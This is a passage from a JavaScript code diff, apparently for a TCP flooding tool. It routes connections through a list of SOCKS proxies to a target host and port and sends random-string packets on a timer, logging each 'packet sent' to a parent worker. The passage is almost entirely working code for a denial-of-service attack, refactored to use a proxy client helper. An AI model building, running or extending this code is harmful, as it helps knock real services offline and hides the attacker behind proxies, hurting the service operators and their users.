1 and 65535"); + let totalPackets = 0; const startTime = Date.now(); const sendPacket = async (proxy) => { - const socket = new net.Socket(); - let open = false; - socket.setTimeout(2000); + const socket = createTcpClient(proxy, { host: targetHost, port: port }); - const proxyAgent = new SocksProxyAgent( - `${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}` - ); - - setInterval(() => { - if (socket.writable && open) { - socket.write(randomString(packetSize)); - } - }, [1000]); - - socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => { + socket.on("connect", () => { totalPackets++; - open = true; + parentPort.postMessage({ log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, totalPackets, }); - }); - socket.on("close", () => { - open = false; - }); - - socket.on("timeout", () => { - socket.destroy(); - open = false; + const interval = setInterval(() => { + if (socket.writable && socket["open"]) { + socket.write(randomString(packetSize)); + } else { + clearInterval(interval); + } + }, 3000); }); socket.on("error", (err) => {